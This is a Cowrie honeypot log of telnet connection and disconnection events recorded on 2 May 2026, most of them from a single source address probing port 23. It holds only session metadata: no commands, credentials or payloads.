{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44655,"dst_ip":"10.17.0.5","dst_port":23,"session":"c974f02a8d11","protocol":"telnet","message":"New connection: 23.111.140.22:44655 (10.17.0.5:23) [session: c974f02a8d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:30.239352Z"}
{"eventid":"cowrie.session.closed","duration":31.558704614639282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:30.377051Z","src_ip":"23.111.140.22","session":"a727b11fdce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.576796531677246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:30.651052Z","src_ip":"23.111.140.22","session":"d46f33776373","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49230718612671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:30.736502Z","src_ip":"23.111.140.22","session":"dea9db4f4d4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47184,"dst_ip":"10.17.0.5","dst_port":23,"session":"07c4e0cc721d","protocol":"telnet","message":"New connection: 23.111.140.22:47184 (10.17.0.5:23) [session: 07c4e0cc721d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:31.045911Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47080,"dst_ip":"10.17.0.5","dst_port":23,"session":"925b252b2b7a","protocol":"telnet","message":"New connection: 23.111.140.22:47080 (10.17.0.5:23) [session: 925b252b2b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:32.032992Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47680,"dst_ip":"10.17.0.5","dst_port":23,"session":"1120d0e02535","protocol":"telnet","message":"New connection: 23.111.140.22:47680 (10.17.0.5:23) [session: 1120d0e02535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:32.258057Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52312,"dst_ip":"10.17.0.5","dst_port":23,"session":"41393f3a8dee","protocol":"telnet","message":"New connection: 23.111.140.22:52312 (10.17.0.5:23) [session: 41393f3a8dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:32.781356Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47640,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3384c6dc75","protocol":"telnet","message":"New connection: 23.111.140.22:47640 (10.17.0.5:23) [session: eb3384c6dc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:33.251245Z"}
{"eventid":"cowrie.session.closed","duration":31.38560461997986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:33.259313Z","src_ip":"23.111.140.22","session":"2040cd817e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76909637451172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:34.147549Z","src_ip":"23.111.140.22","session":"5ae99ea5a25c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992714643478394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:35.375188Z","src_ip":"23.111.140.22","session":"e4b7bbbe3ec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.50007224082947,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:35.528833Z","src_ip":"23.111.140.22","session":"1625b177b1b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037654399871826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:35.559592Z","src_ip":"23.111.140.22","session":"04dfde481967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22051501274109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:36.046807Z","src_ip":"23.111.140.22","session":"6783ac0c44c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75433111190796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:36.574534Z","src_ip":"23.111.140.22","session":"3927b52bb7bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.476215839385986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:36.660487Z","src_ip":"23.111.140.22","session":"13bcee90179f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21436929702759,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:37.232263Z","src_ip":"23.111.140.22","session":"efb94c08e45e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11253046989441,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:38.001148Z","src_ip":"23.111.140.22","session":"e2972342fdc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38790,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58ef409ac93","protocol":"telnet","message":"New connection: 23.111.140.22:38790 (10.17.0.5:23) [session: b58ef409ac93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:38.754693Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39204,"dst_ip":"10.17.0.5","dst_port":23,"session":"0328219885e1","protocol":"telnet","message":"New connection: 23.111.140.22:39204 (10.17.0.5:23) [session: 0328219885e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:38.862077Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38498,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef17527d4c3f","protocol":"telnet","message":"New connection: 23.111.140.22:38498 (10.17.0.5:23) [session: ef17527d4c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:39.655004Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42520,"dst_ip":"10.17.0.5","dst_port":23,"session":"3560dc4d58c3","protocol":"telnet","message":"New connection: 23.111.140.22:42520 (10.17.0.5:23) [session: 3560dc4d58c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:39.954179Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55852,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40a73ae6163","protocol":"telnet","message":"New connection: 23.111.140.22:55852 (10.17.0.5:23) [session: f40a73ae6163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:40.000053Z"}
{"eventid":"cowrie.session.closed","duration":31.142094373703003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:40.185893Z","src_ip":"23.111.140.22","session":"2232d2f819e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37364,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ccc9944ea8","protocol":"telnet","message":"New connection: 23.111.140.22:37364 (10.17.0.5:23) [session: 63ccc9944ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:40.245217Z"}
{"eventid":"cowrie.session.closed","duration":32.091811418533325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:40.492842Z","src_ip":"23.111.140.22","session":"2a2e793ff2e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76353406906128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:41.004200Z","src_ip":"23.111.140.22","session":"c80da046a691","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52230,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcc7ed1d5f48","protocol":"telnet","message":"New connection: 23.111.140.22:52230 (10.17.0.5:23) [session: dcc7ed1d5f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:41.666439Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48434,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a005675b7c1","protocol":"telnet","message":"New connection: 23.111.140.22:48434 (10.17.0.5:23) [session: 1a005675b7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:41.957105Z"}
{"eventid":"cowrie.session.closed","duration":30.5546658039093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:42.297498Z","src_ip":"23.111.140.22","session":"3d5e698802cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53488,"dst_ip":"10.17.0.5","dst_port":23,"session":"6519d7953bc3","protocol":"telnet","message":"New connection: 23.111.140.22:53488 (10.17.0.5:23) [session: 6519d7953bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:42.747732Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e290226a246","protocol":"telnet","message":"New connection: 23.111.140.22:55026 (10.17.0.5:23) [session: 0e290226a246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:43.237981Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47658,"dst_ip":"10.17.0.5","dst_port":23,"session":"6966f95d068c","protocol":"telnet","message":"New connection: 23.111.140.22:47658 (10.17.0.5:23) [session: 6966f95d068c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:43.738720Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48350,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a52d893d537","protocol":"telnet","message":"New connection: 23.111.140.22:48350 (10.17.0.5:23) [session: 3a52d893d537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:43.934667Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57404,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2418857111","protocol":"telnet","message":"New connection: 23.111.140.22:57404 (10.17.0.5:23) [session: db2418857111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:44.010382Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58684,"dst_ip":"10.17.0.5","dst_port":23,"session":"8276a42fcea4","protocol":"telnet","message":"New connection: 23.111.140.22:58684 (10.17.0.5:23) [session: 8276a42fcea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:44.485412Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58838,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7d761c1517","protocol":"telnet","message":"New connection: 23.111.140.22:58838 (10.17.0.5:23) [session: 7b7d761c1517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:44.529498Z"}
{"eventid":"cowrie.session.closed","duration":30.841227293014526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:45.199109Z","src_ip":"23.111.140.22","session":"7c934b2f24e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54990,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe0502ff21e","protocol":"telnet","message":"New connection: 23.111.140.22:54990 (10.17.0.5:23) [session: ffe0502ff21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:47.266494Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39658,"dst_ip":"10.17.0.5","dst_port":23,"session":"2782041596d9","protocol":"telnet","message":"New connection: 23.111.140.22:39658 (10.17.0.5:23) [session: 2782041596d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:47.565770Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39846,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b523c3249a0","protocol":"telnet","message":"New connection: 23.111.140.22:39846 (10.17.0.5:23) [session: 7b523c3249a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:47.629683Z"}
{"eventid":"cowrie.session.closed","duration":32.18386149406433,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:47.743655Z","src_ip":"23.111.140.22","session":"a9b1f084d19e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.285407066345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:47.936734Z","src_ip":"176.65.149.254","session":"6594a7946391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41002,"dst_ip":"10.17.0.5","dst_port":23,"session":"357a57efc821","protocol":"telnet","message":"New connection: 23.111.140.22:41002 (10.17.0.5:23) [session: 357a57efc821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:47.988916Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41884,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c74d2d4f0b1","protocol":"telnet","message":"New connection: 23.111.140.22:41884 (10.17.0.5:23) [session: 7c74d2d4f0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:48.308076Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38960,"dst_ip":"10.17.0.5","dst_port":23,"session":"852c73be3a9c","protocol":"telnet","message":"New connection: 23.111.140.22:38960 (10.17.0.5:23) [session: 852c73be3a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:48.324898Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42622,"dst_ip":"10.17.0.5","dst_port":23,"session":"02f006748b4b","protocol":"telnet","message":"New connection: 23.111.140.22:42622 (10.17.0.5:23) [session: 02f006748b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:48.566716Z"}
{"eventid":"cowrie.session.closed","duration":31.36789321899414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:48.784580Z","src_ip":"23.111.140.22","session":"a71c0afc40a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4274263381958,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:48.965397Z","src_ip":"23.111.140.22","session":"25497686ac1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.090583086013794,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:49.069414Z","src_ip":"23.111.140.22","session":"577e1dc1bb9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44608,"dst_ip":"10.17.0.5","dst_port":23,"session":"f22c5b7ce05e","protocol":"telnet","message":"New connection: 23.111.140.22:44608 (10.17.0.5:23) [session: f22c5b7ce05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:49.201855Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42288,"dst_ip":"10.17.0.5","dst_port":23,"session":"182b44efa3c1","protocol":"telnet","message":"New connection: 23.111.140.22:42288 (10.17.0.5:23) [session: 182b44efa3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:49.459261Z"}
{"eventid":"cowrie.session.closed","duration":32.2161591053009,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:49.782978Z","src_ip":"23.111.140.22","session":"b0d31bd364cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37514,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5763edd4070","protocol":"telnet","message":"New connection: 23.111.140.22:37514 (10.17.0.5:23) [session: d5763edd4070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:49.850625Z"}
{"eventid":"cowrie.session.closed","duration":32.85636353492737,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:49.887171Z","src_ip":"23.111.140.22","session":"28441c6e4a5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1479651927948,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:49.956119Z","src_ip":"23.111.140.22","session":"8e1b39e7e98b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.495604276657104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:50.003399Z","src_ip":"23.111.140.22","session":"fba6d7f0daa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44310,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba211108c663","protocol":"telnet","message":"New connection: 23.111.140.22:44310 (10.17.0.5:23) [session: ba211108c663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:50.085196Z"}
{"eventid":"cowrie.session.closed","duration":32.71136975288391,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:50.708656Z","src_ip":"23.111.140.22","session":"d0c3bb49b78b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47104,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed03b4084785","protocol":"telnet","message":"New connection: 23.111.140.22:47104 (10.17.0.5:23) [session: ed03b4084785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:50.978455Z"}
{"eventid":"cowrie.session.closed","duration":31.534214973449707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:51.336531Z","src_ip":"23.111.140.22","session":"2407e07c20c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.427265882492065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:51.619011Z","src_ip":"23.111.140.22","session":"c75aa0a7d1f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60652,"dst_ip":"10.17.0.5","dst_port":23,"session":"7270cc090e2f","protocol":"telnet","message":"New connection: 23.111.140.22:60652 (10.17.0.5:23) [session: 7270cc090e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:51.906798Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41272,"dst_ip":"10.17.0.5","dst_port":23,"session":"60919149e26f","protocol":"telnet","message":"New connection: 23.111.140.22:41272 (10.17.0.5:23) [session: 60919149e26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.099939Z"}
{"eventid":"cowrie.session.closed","duration":30.960729598999023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.105469Z","src_ip":"23.111.140.22","session":"8e1095e7d93f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789531230926514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.201445Z","src_ip":"23.111.140.22","session":"3c8e8ab8499c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53944,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2dced4f13ba","protocol":"telnet","message":"New connection: 23.111.140.22:53944 (10.17.0.5:23) [session: c2dced4f13ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.218491Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54258,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d706bbeccb2","protocol":"telnet","message":"New connection: 23.111.140.22:54258 (10.17.0.5:23) [session: 6d706bbeccb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.328919Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54418,"dst_ip":"10.17.0.5","dst_port":23,"session":"b567cdd9e769","protocol":"telnet","message":"New connection: 23.111.140.22:54418 (10.17.0.5:23) [session: b567cdd9e769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.399158Z"}
{"eventid":"cowrie.session.closed","duration":32.58378267288208,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.587606Z","src_ip":"23.111.140.22","session":"a15f26039dc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09093689918518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.844337Z","src_ip":"23.111.140.22","session":"9f112b5f6e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49930,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a6397ff84cd","protocol":"telnet","message":"New connection: 23.111.140.22:49930 (10.17.0.5:23) [session: 2a6397ff84cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.899354Z"}
{"eventid":"cowrie.session.closed","duration":31.577237844467163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.959913Z","src_ip":"23.111.140.22","session":"9415e2798f61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56352,"dst_ip":"10.17.0.5","dst_port":23,"session":"db64109587d7","protocol":"telnet","message":"New connection: 23.111.140.22:56352 (10.17.0.5:23) [session: db64109587d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:52.982516Z"}
{"eventid":"cowrie.session.closed","duration":30.52376389503479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:53.054306Z","src_ip":"23.111.140.22","session":"8595d9756b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79391646385193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:53.069170Z","src_ip":"23.111.140.22","session":"8fbef7e25e50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53702,"dst_ip":"10.17.0.5","dst_port":23,"session":"d123f4c69a9a","protocol":"telnet","message":"New connection: 23.111.140.22:53702 (10.17.0.5:23) [session: d123f4c69a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:53.110805Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54550,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7fc8e566a1d","protocol":"telnet","message":"New connection: 23.111.140.22:54550 (10.17.0.5:23) [session: c7fc8e566a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:53.438503Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58918,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be398a4e9e7","protocol":"telnet","message":"New connection: 23.111.140.22:58918 (10.17.0.5:23) [session: 9be398a4e9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:53.819319Z"}
{"eventid":"cowrie.session.closed","duration":34.29659962654114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:54.321075Z","src_ip":"23.111.140.22","session":"41a53d36b9c7","protocol":"telnet"}
